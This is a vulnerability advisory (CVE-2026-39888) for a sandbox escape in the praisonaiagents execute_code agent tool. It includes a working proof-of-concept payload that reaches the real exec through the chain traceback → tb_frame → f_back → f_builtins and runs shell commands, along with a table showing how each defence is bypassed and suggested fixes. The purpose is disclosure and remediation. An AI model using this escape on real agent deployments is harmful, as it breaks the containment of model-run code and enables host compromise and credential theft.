CVE-2026-39888

Summary

execute_code() in praisonaiagents.tools.python_tools defaults to

sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a

restricted builtins dict and an AST-based blocklist. The AST blocklist

embedded inside the subprocess wrapper (blocked_attrs, line 143 of

python_tools.py) contains only 11 attribute names — a strict subset of the 30+

names blocked in the direct-execution path. The four attributes that form a

frame-traversal chain out of the sandbox are all absent from the subprocess list:

| Attribute | In subprocess blocked_attrs | In direct-mode blockedattrs |

|---|---|---|

| traceback | NO | YES |

| tb_frame | NO | YES |

| f_back | NO | YES |

| f_builtins | NO | YES |

Chaining these attributes through a caught exception exposes the real Python

builtins dict of the subprocess wrapper frame, from which exec can be

retrieved and called under a non-blocked variable name — bypassing every

remaining security layer.

Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.

---

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

| Vector | Value | Rationale |

|---|---|---|

| AV:N | Network | execute_code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |

| AC:L | Low | No race conditions or special configuration required |

| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |

| UI:N | None | No victim interaction |

| S:C | Changed | Escapes subprocess sandbox into full host process context |

| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |

| I:H | High | Arbitrary file write, arbitrary code execution on host |

| A:H | High | Can terminate processes, exhaust resources |

---

Affected

• Package: praisonaiagents (PyPI)
• Affected versions: all versions shipping sandbox_mode="sandbox" (default since introduction) through 1.5.113
• Patched versions: none at time of report
• File: praisonaiagents/tools/python_tools.py

---

Root Cause

Two separate blocked_attrs sets — one much weaker than the other

validatecode_ast() (line 39, used by direct mode) blocks 30+ attributes:

## python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)
_blocked_attrs = frozenset({
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',   # ← present here
    '__wrapped__', '__closure__', '__annotations__',
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← present here
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here
    'co_consts', 'co_names',
})

The subprocess wrapper script written to disk (line 143) uses a separate,

inline blocked_attrs with only 11 entries — the frame-traversal attrs are

missing:

## python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__'
    # __traceback__, tb_frame, f_back, f_builtins — all absent
}

safegetattr does not protect direct dot-notation access

safegetattr replaces the getattr builtin and blocks attribute names

starting with _. However, it is only invoked when user code explicitly calls

getattr(obj, name). Direct attribute access (obj.attr in source) uses

Python's C-level tp_getattro slot and never passes through safegetattr.

The AST check is therefore the only barrier to direct attribute access, and it

is insufficient.

No text-pattern blocklist in subprocess mode

executecode_direct applies a text-pattern blocklist (dangerous_patterns)

as a defence-in-depth layer. executecode_sandboxed has no such layer —

only the AST check runs.

---

Proof of Concept

import os
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
from praisonaiagents.tools.python_tools import execute_code
CMD = "id"   # any shell command
payload = f"""
try:
    1/0
except ZeroDivisionError as e:
    _p = e.__traceback__.tb_frame.f_back
    _x = _p.f_builtins["exec"]
    _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
       {{"__builtins__": _p.f_builtins}})
"""
result = execute_code(code=payload)
print(result["stdout"])

Output (praisonaiagents 1.5.113, Python 3.10):

uid=1000(user) gid=1000(user) groups=1000(user)

<img width="775" height="429" alt="image" src="https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf" />

Why each defence is bypassed:

| Layer | Status | Reason |

|---|---|---|

| AST blocked_attrs | BYPASSED | traceback, tb_frame, f_back, f_builtins not in 11-item subprocess list |

| safegetattr | BYPASSED | Only intercepts getattr() calls; dot notation uses C-level tp_getattro |

| exec-by-name AST check | BYPASSED | Called as _x(...) — func.id is '_x', not 'exec' |

| Text-pattern blocklist | N/A | Does not exist in subprocess mode |

| Subprocess process isolation | BYPASSED | Frame traversal reaches real builtins within the subprocess |

---

Attack Chain

execute_code(payload)
  └─ _execute_code_sandboxed()
       └─ subprocess: exec(user_code, safe_globals)
            └─ user_code raises ZeroDivisionError
                 └─ e.__traceback__           ← __traceback__ not in blocked_attrs
                      └─ .tb_frame           ← tb_frame not in blocked_attrs
                           └─ .f_back        ← f_back not in blocked_attrs
                                └─ .f_builtins  ← f_builtins not in blocked_attrs
                                     └─ ["exec"]  ← dict subscript, no attr check
                                          └─ _x("import subprocess; ...")
                                               └─ RCE

---

Impact

Any application that exposes execute_code to user-controlled or

LLM-generated input — including all standard PraisonAI agent deployments — is

fully compromised by a single API call:

• Arbitrary command execution on the host (in the subprocess user context)
• File system read/write — source code, credentials, .env files, SSH keys
• Environment variable exfiltration — API keys, secrets passed to the agent process
• Network access — outbound connections to attacker infrastructure unaffected by env={}
• Lateral movement — the subprocess inherits the host's network stack and filesystem

---

Suggested Fix

1. Merge blocked_attrs into a single shared constant

The subprocess wrapper must use the same attribute blocklist as the direct mode.

Replace the inline blocked_attrs in the wrapper template with the full set:

## Add to subprocess wrapper template (python_tools.py ~line 143):
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',    # ← ADD
    '__wrapped__', '__closure__', '__annotations__',  # ← ADD
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',    # ← ADD
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← ADD
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD
    'co_consts', 'co_names',                          # ← ADD
}

2. Block all _-prefixed attribute access at AST level

safegetattr only covers getattr() calls. Add a blanket AST rule to block

any ast.Attribute node whose attr starts with _:

if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
    return f"Access to private attribute '{node.attr}' is restricted"

3. Add the text-pattern layer to subprocess mode

Mirror executecode_direct's dangerous_patterns check in

executecode_sandboxed as defence-in-depth.

---

References

• Affected file: praisonaiagents/tools/python_tools.py (PyPI: praisonaiagents)
• CWE-693: Protection Mechanism Failure
• CWE-657: Violation of Secure Design Principles